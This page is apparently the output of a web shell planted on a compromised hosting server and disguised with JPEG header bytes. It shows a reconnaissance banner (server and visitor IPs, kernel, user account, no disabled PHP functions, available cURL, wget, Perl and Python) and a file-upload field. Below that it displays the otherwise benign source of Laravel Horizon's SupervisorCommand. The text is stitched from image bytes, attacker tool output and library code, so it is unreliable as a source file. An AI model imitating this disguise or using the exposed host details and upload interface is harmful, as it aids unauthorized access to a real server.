����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/laravel/horizon/src/Console/ |
Upload File : |
<?php
namespace Laravel\Horizon\Console;
use Exception;
use Illuminate\Console\Command;
use Laravel\Horizon\SupervisorFactory;
use Laravel\Horizon\SupervisorOptions;
class SupervisorCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'horizon:supervisor
{name : The name of supervisor}
{connection : The name of the connection to work}
{--balance= : The balancing strategy the supervisor should apply}
{--delay=0 : The number of seconds to delay failed jobs (Deprecated)}
{--backoff=0 : The number of seconds to wait before retrying a job that encountered an uncaught exception}
{--max-jobs=0 : The number of jobs to process before stopping a child process}
{--max-time=0 : The maximum number of seconds a child process should run}
{--force : Force the worker to run even in maintenance mode}
{--max-processes=1 : The maximum number of total workers to start}
{--min-processes=1 : The minimum number of workers to assign per queue}
{--memory=128 : The memory limit in megabytes}
{--nice=0 : The process priority}
{--paused : Start the supervisor in a paused state}
{--queue= : The names of the queues to work}
{--sleep=3 : Number of seconds to sleep when no job is available}
{--timeout=60 : The number of seconds a child process can run}
{--tries=0 : Number of times to attempt a job before logging it failed}
{--balance-cooldown=3 : The number of seconds to wait in between auto-scaling attempts}
{--balance-max-shift=1 : The maximum number of processes to increase or decrease per one scaling}
{--workers-name=default : The name that should be assigned to the workers}
{--parent-id=0 : The parent process ID}
{--rest=0 : Number of seconds to rest between jobs}';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Start a new supervisor';
/**
* Indicates whether the command should be shown in the Artisan command list.
*
* @var bool
*/
protected $hidden = true;
/**
* Execute the console command.
*
* @param \Laravel\Horizon\SupervisorFactory $factory
* @return int
*/
public function handle(SupervisorFactory $factory)
{
$supervisor = $factory->make(
$this->supervisorOptions()
);
try {
$supervisor->ensureNoDuplicateSupervisors();
} catch (Exception $e) {
$this->error('A supervisor with this name is already running.');
return 13;
}
$this->start($supervisor);
}
/**
* Start the given supervisor.
*
* @param \Laravel\Horizon\Supervisor $supervisor
* @return void
*/
protected function start($supervisor)
{
if ($supervisor->options->nice) {
proc_nice($supervisor->options->nice);
}
$supervisor->handleOutputUsing(function ($type, $line) {
$this->output->write($line);
});
$supervisor->working = ! $this->option('paused');
$supervisor->scale(max(
0, $this->option('max-processes') - $supervisor->totalSystemProcessCount()
));
$supervisor->monitor();
}
/**
* Get the supervisor options.
*
* @return \Laravel\Horizon\SupervisorOptions
*/
protected function supervisorOptions()
{
$backoff = $this->hasOption('backoff')
? $this->option('backoff')
: $this->option('delay');
return new SupervisorOptions(
$this->argument('name'),
$this->argument('connection'),
$this->getQueue($this->argument('connection')),
$this->option('workers-name'),
$this->option('balance'),
$backoff,
$this->option('max-time'),
$this->option('max-jobs'),
$this->option('max-processes'),
$this->option('min-processes'),
$this->option('memory'),
$this->option('timeout'),
$this->option('sleep'),
$this->option('tries'),
$this->option('force'),
$this->option('nice'),
$this->option('balance-cooldown'),
$this->option('balance-max-shift'),
$this->option('parent-id'),
$this->option('rest')
);
}
/**
* Get the queue name for the worker.
*
* @param string $connection
* @return string
*/
protected function getQueue($connection)
{
return $this->option('queue') ?: $this->laravel['config']->get(
"queue.connections.{$connection}.queue", 'default'
);
}
}